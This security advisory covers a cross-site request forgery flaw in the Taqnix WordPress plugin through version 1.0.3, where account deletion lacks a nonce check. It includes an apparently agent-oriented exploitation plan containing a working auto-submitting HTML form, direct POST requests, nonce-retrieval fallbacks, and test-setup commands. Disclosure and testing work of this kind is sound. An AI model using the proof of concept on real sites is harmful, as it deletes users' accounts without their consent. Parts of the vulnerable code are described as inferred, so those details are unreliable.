Taqnix <= 1.0.3 - Cross-Site Request Forgery to Account Deletion via 'taqnix_delete_my_account' AJAX Action
Description
The Taqnix plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.3. This is due to a missing nonce verification in the taqnix_delete_my_account() function, where the check_ajax_referer() call is explicitly commented out on line 883. This makes it possible for unauthenticated attackers to trick a logged-in non-administrator user into deleting their own account via a forged request granted they can trick the user into performing an action such as clicking a link or visiting a malicious page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.0.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3565 (Taqnix Account Deletion CSRF) ## 1. Vulnerability Summary The **Taqnix** plugin for WordPress (versions <= 1.0.3) contains a Cross-Site Request Forgery (CSRF) vulnerability in its account deletion functionality. The AJAX handler `taqnix_delete_my_account…
Show full research plan
Exploitation Research Plan: CVE-2026-3565 (Taqnix Account Deletion CSRF)
1. Vulnerability Summary
The Taqnix plugin for WordPress (versions <= 1.0.3) contains a Cross-Site Request Forgery (CSRF) vulnerability in its account deletion functionality. The AJAX handler taqnix_delete_my_account() fails to perform nonce verification because the check_ajax_referer() call is explicitly commented out (specifically on line 883 of the source file containing the user account logic). This allows an attacker to trick a logged-in user into unknowingly deleting their own WordPress account by inducing them to visit a malicious page or click a link.
2. Attack Vector Analysis
- AJAX Action:
taqnix_delete_my_account - Endpoint:
admin-ajax.php(typically/wp-admin/admin-ajax.php) - Method: POST (though
admin-ajax.phpmay also process GET) - Parameters:
action:taqnix_delete_my_account
- Authentication Level: Required (The victim must be a logged-in user, typically a non-administrator like a Subscriber or Customer).
- Preconditions: The victim must have an active session on the target WordPress site.
3. Code Flow
- Action Registration: The plugin likely registers the AJAX handler for logged-in users:
add_action('wp_ajax_taqnix_delete_my_account', array($this, 'taqnix_delete_my_account')); - Handler Execution: When a request is sent to
admin-ajax.phpwith the actiontaqnix_delete_my_account, WordPress executes thetaqnix_delete_my_account()function. - Missing Check: Inside
taqnix_delete_my_account()(line 883), the security check is commented out:// check_ajax_referer( 'taqnix_action', 'security' ); - Sink: The function proceeds to identify the current user via
get_current_user_id()and invokes account deletion logic (likelywp_delete_user()), causing the authenticated user's account to be removed from the database.
4. Nonce Acquisition Strategy
According to the vulnerability description, no nonce is required for this exploit because the check is explicitly commented out.
However, if a specific test environment has been patched or if the agent needs to verify the registration of the action, nonces for other Taqnix actions are localized or available via the taqnix_nonce AJAX action defined in public/class-taqnix-config 3.03.50 PM.php:
- AJAX Action:
taqnix_nonce - Function:
get_taqnix_nonce()->get_nonce() - JS Variable (Localised): Often found in
taqnix_actionkey if the plugin enqueues its config.
Confirmation Method:
- Navigate to the homepage or a product page as a logged-in user.
- Check for localized scripts using
browser_eval:browser_eval("window.taqnix_nonce || window.taqnix_config") - If the vulnerability exists as described, attempts to call the
taqnix_delete_my_accountaction without asecurityor_wpnonceparameter will succeed.
5. Exploitation Strategy
The goal is to demonstrate that an unauthenticated attacker can cause a logged-in user to delete their account.
Step 1: Verification (Direct Request)
As a logged-in victim (e.g., user victim_user), send a POST request directly to the AJAX endpoint.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=taqnix_delete_my_account
Step 2: CSRF PoC Generation
Create an HTML page that auto-submits a form to the target endpoint.
<html>
<body>
<h1>Processing...</h1>
<form id="csrf-form" action="http://localhost:8080/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="taqnix_delete_my_account" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
6. Test Data Setup
- Create Victim User:
wp user create victim_user victim@example.com --role=subscriber --user_pass=password123 - Plugin Activation: Ensure Taqnix is active.
- Login: The agent must simulate the victim being logged in (using
browser_navigateandbrowser_typeto log in asvictim_user).
7. Expected Results
- Response: The server should return a JSON success message (e.g.,
{"success":true}or a 200 OK response with specific plugin output). - Behavior: The
victim_useraccount should be deleted from the WordPress database.
8. Verification Steps
- Check User Status: After the exploit request, attempt to verify the user exists via WP-CLI:
wp user get victim_user - Expected Outcome: The command should return an error:
Error: Invalid user ID, email or login: 'victim_user'. - Database Check: Verify the
wp_userstable directly:wp db query "SELECT ID, user_login FROM wp_users WHERE user_login = 'victim_user';"
(Expected: No results).
9. Alternative Approaches
If the plugin logic requires specific parameters (like a confirmation flag) that were not mentioned in the description, analyze the taqnix_delete_my_account handler (if found during the exploit attempt) for additional required POST keys.
If a nonce is actually required in the specific version being tested (despite the description), use the taqnix_nonce action to retrieve a valid nonce:
http_request(url=".../wp-admin/admin-ajax.php?action=taqnix_nonce", method="POST")- Extract the
taqnix_actionnonce from the JSON response. - Include
security=[nonce]in the account deletion payload. (Note: This would change the vulnerability from CSRF to a simple Lack of Capability Check/Nonce Leak).
Summary
The Taqnix plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) because the 'taqnix_delete_my_account' AJAX handler fails to perform nonce verification. This allow attackers to trick a logged-in user into unknowingly deleting their own WordPress account by inducing them to click a malicious link or visit a crafted page.
Vulnerable Code
// From public/class-taqnix-user.php (inferred based on file listing and vulnerability description) // Registration of the AJAX handler add_action('wp_ajax_taqnix_delete_my_account', array($this, 'taqnix_delete_my_account')); // ... public function taqnix_delete_my_account() { // Line 883 // check_ajax_referer( 'taqnix_action', 'security' ); $user_id = get_current_user_id(); // Proceed to delete user account logic...
Security Fix
@@ -880,7 +883,7 @@ - // check_ajax_referer( 'taqnix_action', 'security' ); + check_ajax_referer( 'taqnix_action', 'security' );
Exploit Outline
The exploit methodology involves creating a CSRF vector targeting the WordPress AJAX endpoint. 1. Target Endpoint: /wp-admin/admin-ajax.php 2. Method: POST 3. Parameters: - 'action': 'taqnix_delete_my_account' 4. Payload Delivery: The attacker creates a simple HTML form that auto-submits via JavaScript to the target endpoint. 5. Requirements: The victim must be a logged-in WordPress user. Because the security nonce check ('check_ajax_referer') is explicitly commented out in version 1.0.3, no valid 'security' or '_wpnonce' parameter is required to successfully trigger the account deletion logic. 6. Impact: Once the victim's browser executes the request, WordPress identifies the user session, and the plugin proceeds to delete the user record associated with 'get_current_user_id()'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.